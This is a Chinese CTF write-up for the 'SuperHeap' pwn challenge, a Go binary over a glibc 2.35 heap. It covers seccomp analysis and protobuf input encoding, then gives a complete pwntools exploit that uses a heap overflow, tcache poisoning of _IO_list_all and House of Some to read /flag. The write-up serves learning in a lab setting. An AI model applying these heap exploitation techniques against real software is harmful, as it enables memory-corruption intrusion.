2024年11月

SuperHeap

go 套壳的普通 libc 2.35 heap。go 主函数逻辑在 main_main,可以看到有 seccomp 沙箱,用 seccomp-tools 查看:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x08 0x00 0x00000029  if (A == socket) goto 0014
 0006: 0x15 0x07 0x00 0x0000002a  if (A == connect) goto 0014
 0007: 0x15 0x06 0x00 0x00000031  if (A == bind) goto 0014
 0008: 0x15 0x05 0x00 0x00000032  if (A == listen) goto 0014
 0009: 0x15 0x04 0x00 0x00000038  if (A == clone) goto 0014
 0010: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0014
 0011: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0014
 0012: 0x15 0x01 0x00 0x000000a5  if (A == mount) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x06 0x00 0x00 0x00000000  return KILL

,只允许 x86_64,禁掉了 execvesocket 之类,最好 ORW 吧。

然后来到真正的菜单堆逻辑:

while (1) {
    v15 = main_BPUGMG();
    v16 = qword_41A3D0;
    v21 = *(void (***)(void))runtime_mapaccess2_fast64(
        (unsigned int)&RTYPE_map_int_func, qword_41A3D0, v15);
    if (v16) {
        (*v21)();
    } else {
        v35[0] = &RTYPE_string;
        v35[1] = &aInval;
        v1 = 1;
        v2 = 1;
        fmt_Fprintln((unsigned int)off_2BCBE8, qword_41A3E8, (unsigned int)v35,
                     1, 1, (unsigned int)&aInval);
    }
}

。输入数字,从一个 map 取出对应功能函数并执行。创建 CTFBook 逻辑在 main_WEB5SF,其中会读入字符串并解码然后创建新 CTFBook,解码过程是:

encoding_base32__ptr_Encoding_DecodeString -> github_com_golang_protobuf_proto_Unmarshal -> 各字段 encoding_base64__ptr_Encoding_DecodeString

重点是 protobuf,用到的库是 github.com/golang/protobuf,这个库应该是可以直接识别 go 原生类,反序列化对应的 protobuf 数据,因此之后我们编码的时候可以直接用类定义里的字段名(之前做过 go json 序列化的题,json 里的字段名和类定义里的不同,排了很久的错)。到 IDA 的 Local Types,可以看到这个结构体:

00000000 struct __attribute__((aligned(8))) mypackage_CTFBook // sizeof=0x78
00000000 {
00000000     impl_MessageState state;
00000008     int32 sizeCache;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     _slice_uint8 unknownFields;
00000028     string Title;
00000038     string Author;
00000048     string Isbn;
00000058     string PublishDate;
00000068     float64 Price;
00000070     int32 Stock;
00000074     // padding byte
00000075     // padding byte
00000076     // padding byte
00000077     // padding byte
00000078 };

,其中 statesizeCacheunknownFields 应该是 protobuf 库生成的,CTFBook 原本的字段是 TitleAuthorIsbnPublishDatePriceStock。所以可以编写这样的 .proto 文件:

syntax = "proto3";

package mypackage;

message CTFBook {
    string Title = 1;
    string Author = 2;
    string Isbn = 3;
    string PublishDate = 4;
    double Price = 5;
    int32 Stock = 6;
}

protoc 编译成 Python 脚本:

$ protoc ctf_book.proto --python_out=.

然后就可以用 Python 愉快输入了:

from ctf_book_pb2 import CTFBook
from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

之后简单 fuzz 一下发现虽然没有 UAF ,但是 edit 时不会检查长度,可以任意堆溢出。所以可以修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

完整 exp:

#!/usr/bin/python

from pwn import *
from ctypes import *
from ctf_book_pb2 import CTFBook

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './SuperHeap'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

gdb.attach(io, 'set resolve-heap-via-heuristic force') # goroutine 多线程会干扰 pwndbg 识别 main_arena

from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

# count: 28
def add(index: int, book: Book):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def show(index: int):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', itob(index))

def delete(index: int):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', itob(index))

def edit(index: int, book: Book):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def search(keyword: str):
    io.sendlineafter(b'> ', b'5')
    io.sendlineafter(b': ', keyword.encode())

add(0, Book(cyclic(0x800), b'', b'', b'', 0, 0))
delete(0)
for i in range(5):
    add(i, Book(b'', b'', b'', b'', 0, 0))
show(4)
io.recvuntil(b'Author: ')
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2207136
print(f'libc_base: 0x{libc.address:x}')
show(3)
io.recvuntil(b'Title: ')
heap_base = (u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2) << 12
print(f'heap_base: 0x{heap_base:x}')

edit(4, Book(cyclic(40) + p64(0x81) + p64(libc.sym['_IO_list_all'] ^ ((heap_base >> 12) + 2)), b'bbb2', b'ccc3', b'ddd4', 10101, 20202))
add(5, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
add(6, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

from SomeofHouse import HouseOfSome

hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x1000)
payload = hos.hoi_read_file_template(heap_base + 0x1000, 0x400, heap_base + 0x1000, 0)
print(payload)
add(7, Book(payload + b'rrrr', b'', b'', b'', 0, 0))
add(8, Book(p64(heap_base + 13344) + cyclic(0x68), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

io.sendlineafter(b'> ', b'6')
hos.bomb_orw(io, b'/flag')

io.interactive()

虽然做出来了,但是对于 go 部分的理解还比较混乱。